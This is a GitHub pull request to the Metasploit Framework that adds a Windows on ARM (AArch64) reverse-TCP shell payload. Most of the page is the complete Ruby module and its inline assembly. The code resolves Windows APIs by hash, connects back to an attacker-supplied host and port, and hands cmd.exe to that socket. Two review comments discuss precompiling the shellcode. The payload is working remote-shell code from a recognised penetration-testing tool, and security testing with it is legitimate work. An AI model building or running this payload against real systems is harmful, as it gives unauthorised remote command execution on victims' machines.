-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Add windows/aarch64/shell_reverse_tcp payload #21589
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
vinicius-batistella
wants to merge
4
commits into
rapid7:master
Choose a base branch
from
vinicius-batistella:feature/windows-aarch64-shell-reverse-tcp
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+436
−0
Open
Changes from all commits
Commits
Show all changes
4 commits
Select commit
Hold shift + click to select a range
ca35348
Add windows/aarch64/shell_reverse_tcp payload
vinicius-batistella dcc3f1c
Fix CI on windows/aarch64/shell_reverse_tcp PR
vinicius-batistella 6858bcc
Address review feedback on windows/aarch64/shell_reverse_tcp
vinicius-batistella d532673
Address Copilot review on windows/aarch64/shell_reverse_tcp
vinicius-batistella File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Some comments aren't visible on the classic Files Changed page.
There are no files selected for viewing
362 changes: 362 additions & 0 deletions
362
modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,362 @@ | ||
| # frozen_string_literal: true | ||
|
|
||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| module MetasploitModule | ||
| CachedSize = 664 | ||
|
|
||
| include Msf::Payload::Windows | ||
| include Msf::Payload::Single | ||
| include Msf::Sessions::CommandShellOptions | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| merge_info( | ||
| info, | ||
| 'Name' => 'Windows AArch64 Command Shell, Reverse TCP Inline', | ||
| 'Description' => %q{ | ||
| Connect back to the attacker and spawn a Windows command shell on a | ||
| Windows on ARM (AArch64) target. Position-independent shellcode that | ||
| resolves API addresses via PEB / Export Address Table hashing | ||
| (Stephen Fewer ROR-13), opens a TCP socket through Winsock, calls | ||
| WSAConnect, then spawns cmd.exe with stdin/stdout/stderr piped over | ||
| the socket via CreateProcessA + STARTF_USESTDHANDLES. EXITFUNC is | ||
| honored via a runtime hash-dispatcher. | ||
| }, | ||
| 'Author' => [ | ||
| 'vinicius-batistella' # AArch64 reverse_tcp port from the x64 stager logic | ||
| ], | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => 'win', | ||
| 'Arch' => ARCH_AARCH64, | ||
| 'Handler' => Msf::Handler::ReverseTcp, | ||
| 'Session' => Msf::Sessions::CommandShell, | ||
| 'Payload' => { 'Offsets' => {}, 'Payload' => '' }, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] | ||
| } | ||
| ) | ||
| ) | ||
| end | ||
|
|
||
| def generate(_opts = {}) | ||
| lhost = datastore['LHOST'] | ||
| unless Rex::Socket.is_ipv4?(lhost) | ||
| raise ArgumentError, 'LHOST must be in IPv4 format.' | ||
| end | ||
|
|
||
| ip_bytes = Rex::Socket.addr_aton(lhost) | ||
|
|
||
| # Map LHOST/LPORT onto the MOVK immediates inside fill_sockaddr_fast. | ||
| # sin_port: network-order bytes loaded as a little-endian 16-bit imm. | ||
| # sin_addr: octets 0..1 -> low halfword, octets 2..3 -> high halfword. | ||
| port_imm = [datastore['LPORT'].to_i].pack('n').unpack1('v') | ||
| ip_lo_imm = ip_bytes[0, 2].unpack1('v') | ||
| ip_hi_imm = ip_bytes[2, 2].unpack1('v') | ||
|
|
||
| # The exitfunk block re-resolves the chosen kernel32 exit API by hash | ||
| # at runtime; we patch the two MOVZ/MOVK immediates with the hash. | ||
| exit_hash = exitfunk_hash(datastore['EXITFUNC']) | ||
|
|
||
| asm = build_asm( | ||
| port_imm: port_imm, | ||
| ip_lo_imm: ip_lo_imm, | ||
| ip_hi_imm: ip_hi_imm, | ||
| exit_lo: exit_hash & 0xFFFF, | ||
| exit_hi: (exit_hash >> 16) & 0xFFFF | ||
| ) | ||
|
|
||
| compile_aarch64(asm) | ||
| end | ||
|
|
||
| private | ||
|
|
||
| # ROR-13 hash of a kernel32 export name, matching the asm find_function | ||
| # routine. The asm stops on CBZ before adding the NUL terminator, so we | ||
| # hash bytes only (no trailing zero). | ||
| # | ||
| # Sanity checks (verified against rev2.s constants): | ||
| # ror13_hash('TerminateProcess') == 0x78b5b983 | ||
| # ror13_hash('LoadLibraryA') == 0xec0e4e8e | ||
| # ror13_hash('CreateProcessA') == 0x16b3fe72 | ||
| def ror13_hash(str) | ||
| h = 0 | ||
| str.each_byte do |b| | ||
| h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF | ||
| h = (h + b) & 0xFFFFFFFF | ||
| end | ||
| h | ||
| end | ||
|
|
||
| def exitfunk_hash(value) | ||
| case value.to_s.downcase | ||
| when 'thread' | ||
| ror13_hash('ExitThread') | ||
| when 'process', '' | ||
| 0x78b5b983 # TerminateProcess (known constant; also == ror13_hash('TerminateProcess')) | ||
| when 'none' | ||
| # 'none' is best-effort here: we still need *something* to call so the | ||
| # shellcode doesn't fall off into garbage. ExitProcess is the safest. | ||
| ror13_hash('ExitProcess') | ||
| else | ||
| 0x78b5b983 | ||
| end | ||
| end | ||
|
|
||
| def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) | ||
| # Differences from the standalone rev2.s prototype: | ||
| # - `.text` / `.global` directives stripped (aarch64 gem rejects them) | ||
| # - `[reg, wreg, uxtw #N]` rewritten as `mov w15, w4; lsl x15, x15, #N; | ||
| # add x15, base, x15; ldr ...` to avoid extended-register addressing | ||
| # in the aarch64 gem parser | ||
| # - constant expressions like `(12*2)` pre-evaluated to literals | ||
| # - `mov x0, #-1` replaced with `movn x0, #0` (canonical encoding) | ||
| # | ||
| # Slot table (x29 + offset): | ||
| # 0x00 kernel32_base 0x08 &find_function 0x18 LoadLibraryA | ||
| # 0x28 WSAStartup 0x30 WSASocketA 0x38 WSAConnect | ||
| # 0x40 CreateProcessA 0x50 sockaddr_in 0x70 WSADATA | ||
| # Gaps at 0x10 and 0x20 are intentional -- previously held cached | ||
| # TerminateProcess (re-resolved by exitfunk now) and OpenProcessToken | ||
| # (was unused dead code), preserved to keep slot offsets stable. | ||
| <<~ASM | ||
| main: | ||
| sub sp, sp, #0x300 | ||
| mov x29, sp | ||
| add x19, x29, #0x50 | ||
| add x21, x29, #0x70 | ||
|
|
||
| find_kernel32: | ||
| ldr x6, [x18, #0x60] | ||
| ldr x6, [x6, #0x18] | ||
| ldr x6, [x6, #0x30] | ||
|
|
||
| next_module: | ||
| ldr x3, [x6, #0x10] | ||
| ldr x7, [x6, #0x40] | ||
| ldr x6, [x6] | ||
| ldrh w8, [x7, #24] | ||
| cbnz w8, next_module | ||
|
|
||
| find_function_shorten: | ||
| b find_function_shorten_bnc | ||
|
|
||
| find_function_ret: | ||
| str x30, [x29, #0x08] | ||
| b resolve_symbols_kernel32 | ||
|
|
||
| find_function_shorten_bnc: | ||
| bl find_function_ret | ||
|
|
||
| find_function: | ||
| mov w10, w0 | ||
| ldr w8, [x3, #0x3c] | ||
| add x8, x8, x3 | ||
| ldr w9, [x8, #0x88] | ||
| add x9, x9, x3 | ||
| ldr w4, [x9, #0x18] | ||
| ldr w11, [x9, #0x20] | ||
| add x11, x11, x3 | ||
|
|
||
| find_function_loop: | ||
| cbz w4, find_function_finished | ||
| sub w4, w4, #1 | ||
| mov w15, w4 | ||
| lsl x15, x15, #2 | ||
| add x15, x11, x15 | ||
| ldr w12, [x15] | ||
| add x6, x12, x3 | ||
|
|
||
| compute_hash: | ||
| mov w5, wzr | ||
|
|
||
| compute_hash_again: | ||
| ldrb w0, [x6], #1 | ||
| cbz w0, compute_hash_finished | ||
| ror w5, w5, #13 | ||
| add w5, w5, w0 | ||
| b compute_hash_again | ||
|
|
||
| compute_hash_finished: | ||
| find_function_compare: | ||
| cmp w5, w10 | ||
| b.ne find_function_loop | ||
|
|
||
| ldr w12, [x9, #0x24] | ||
| add x12, x12, x3 | ||
| mov w15, w4 | ||
| lsl x15, x15, #1 | ||
| add x15, x12, x15 | ||
| ldrh w4, [x15] | ||
| ldr w12, [x9, #0x1c] | ||
| add x12, x12, x3 | ||
| mov w15, w4 | ||
| lsl x15, x15, #2 | ||
| add x15, x12, x15 | ||
| ldr w13, [x15] | ||
| add x0, x13, x3 | ||
|
|
||
| find_function_finished: | ||
| ret | ||
|
|
||
| resolve_symbols_kernel32: | ||
| str x3, [x29, #0x00] | ||
|
|
||
| movz w0, #0x4e8e | ||
| movk w0, #0xec0e, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x18] | ||
|
|
||
| resolve_symbols_CreateProcessA: | ||
| movz w0, #0xfe72 | ||
| movk w0, #0x16b3, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x40] | ||
|
|
||
| load_ws2_32: | ||
| movz x0, #0x7357 | ||
| movk x0, #0x5f32, lsl #16 | ||
| movk x0, #0x3233, lsl #32 | ||
| movk x0, #0x642e, lsl #48 | ||
| movz w1, #0x6c6c | ||
| sub sp, sp, #16 | ||
| str x0, [sp] | ||
| str w1, [sp, #8] | ||
| mov x0, sp | ||
| ldr x9, [x29, #0x18] | ||
| blr x9 | ||
| add sp, sp, #16 | ||
| mov x3, x0 | ||
|
|
||
| resolve_ws2_32: | ||
| movz w0, #0xedcb | ||
| movk w0, #0x3bfc, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x28] | ||
|
|
||
| movz w0, #0x09d9 | ||
| movk w0, #0xadf5, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x30] | ||
|
|
||
| movz w0, #0xba0c | ||
| movk w0, #0xb32d, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x38] | ||
|
|
||
| call_WSAStartup: | ||
| movz w0, #0x0202 | ||
| mov x1, x21 | ||
| ldr x9, [x29, #0x28] | ||
| blr x9 | ||
|
|
||
| call_WSASocket: | ||
| mov w0, #2 | ||
| mov w1, #1 | ||
| mov w2, #6 | ||
| mov x3, xzr | ||
| mov w4, wzr | ||
| mov w5, wzr | ||
| ldr x9, [x29, #0x30] | ||
| blr x9 | ||
| mov x22, x0 | ||
|
|
||
| fill_sockaddr_fast: | ||
| movz x0, #0x0002 | ||
| movk x0, ##{format('0x%04x', port_imm)}, lsl #16 | ||
| movk x0, ##{format('0x%04x', ip_lo_imm)}, lsl #32 | ||
| movk x0, ##{format('0x%04x', ip_hi_imm)}, lsl #48 | ||
| stp x0, xzr, [x19] | ||
|
|
||
| call_WSAConnect: | ||
| mov x0, x22 | ||
| mov x1, x19 | ||
| mov w2, #16 | ||
| mov x3, xzr | ||
| mov x4, xzr | ||
| mov x5, xzr | ||
| mov x6, xzr | ||
| ldr x9, [x29, #0x38] | ||
| blr x9 | ||
|
|
||
| build_PROCESS_INFORMATION_and_STARTUPINFOA: | ||
| sub sp, sp, #0xB0 | ||
| add x10, sp, #0x10 | ||
| add x11, sp, #0x30 | ||
| add x12, sp, #0xA0 | ||
|
|
||
| stp xzr, xzr, [x10] | ||
| str xzr, [x10, #16] | ||
|
|
||
| stp xzr, xzr, [x11, #0x00] | ||
| stp xzr, xzr, [x11, #0x10] | ||
| stp xzr, xzr, [x11, #0x20] | ||
| stp xzr, xzr, [x11, #0x30] | ||
| stp xzr, xzr, [x11, #0x40] | ||
| stp xzr, xzr, [x11, #0x50] | ||
| str xzr, [x11, #0x60] | ||
|
|
||
| mov w0, #0x68 | ||
| str w0, [x11, #0x00] | ||
| mov w0, #0x100 | ||
| str w0, [x11, #0x3C] | ||
| str x22, [x11, #0x50] | ||
| str x22, [x11, #0x58] | ||
| str x22, [x11, #0x60] | ||
|
|
||
| movz x0, #0x6D63 | ||
| movk x0, #0x2E64, lsl #16 | ||
| movk x0, #0x7865, lsl #32 | ||
| movk x0, #0x0065, lsl #48 | ||
| str x0, [x12] | ||
|
|
||
| call_CreateProcessA: | ||
| mov x0, xzr | ||
| mov x1, x12 | ||
| mov x2, xzr | ||
| mov x3, xzr | ||
| mov w4, #1 | ||
| mov w5, wzr | ||
| mov x6, xzr | ||
| mov x7, xzr | ||
| stp x11, x10, [sp] | ||
|
|
||
| ldr x9, [x29, #0x40] | ||
| blr x9 | ||
|
|
||
| add sp, sp, #0xB0 | ||
|
|
||
| exitfunk: | ||
| ldr x3, [x29, #0x00] | ||
| movz w0, ##{format('0x%04x', exit_lo)} | ||
| movk w0, ##{format('0x%04x', exit_hi)}, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| mov x10, x0 | ||
| movn x0, #0 | ||
| mov w1, wzr | ||
| blr x10 | ||
| brk #0 | ||
| ASM | ||
| end | ||
|
|
||
| def compile_aarch64(asm_string) | ||
| require 'aarch64/parser' | ||
| parser = ::AArch64::Parser.new | ||
| asm = parser.parse(without_inline_comments(asm_string)) | ||
| asm.to_binary | ||
| end | ||
|
|
||
| def without_inline_comments(string) | ||
| string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n") | ||
| end | ||
| end | ||
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This stuff looks mostly like boilerplate stuff, why not compile the shellcode once, store it in
Payloadoption ininitializeand setlhostandlportusingOffsets?There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same pattern as
modules/payloads/singles/osx/aarch64/shell_reverse_tcp.rb(@AlanFoster), and for the same reason: the AArch64 sockaddr is built fromMOVZ/MOVKimmediates loaded into a register, not from raw.wordbytes. The 16-bit value lives at bits 5–20 of a 32-bit instruction word, so the framework's standardOffsetsbyte-substitution types ('ADDR','n','v','ADDR16MSB/LSB'inMsf::Payload#substitute_vars) don't natively patch it.linux/aarch64/shell_reverse_tcpcan use precompiled bytes +Offsetsprecisely because its sockaddr is stored as raw.word 0x5c110002, 0x0100007fliterals — that's not possible here without a custom packing type.That said, a clean precompiled-once refactor is feasible: declare a custom packing (e.g.
'AARCH64_MOVK_IMM16') and overridereplace_var(the per-payload hook atlib/msf/core/payload.rb:346) to do the bit-field patch ourselves.generatethen collapses to nearly a no-op, and the asm parser only runs once at module load. Happy to do that as a follow-up commit if you'd prefer the precompiled-once design — just confirm and I'll push it.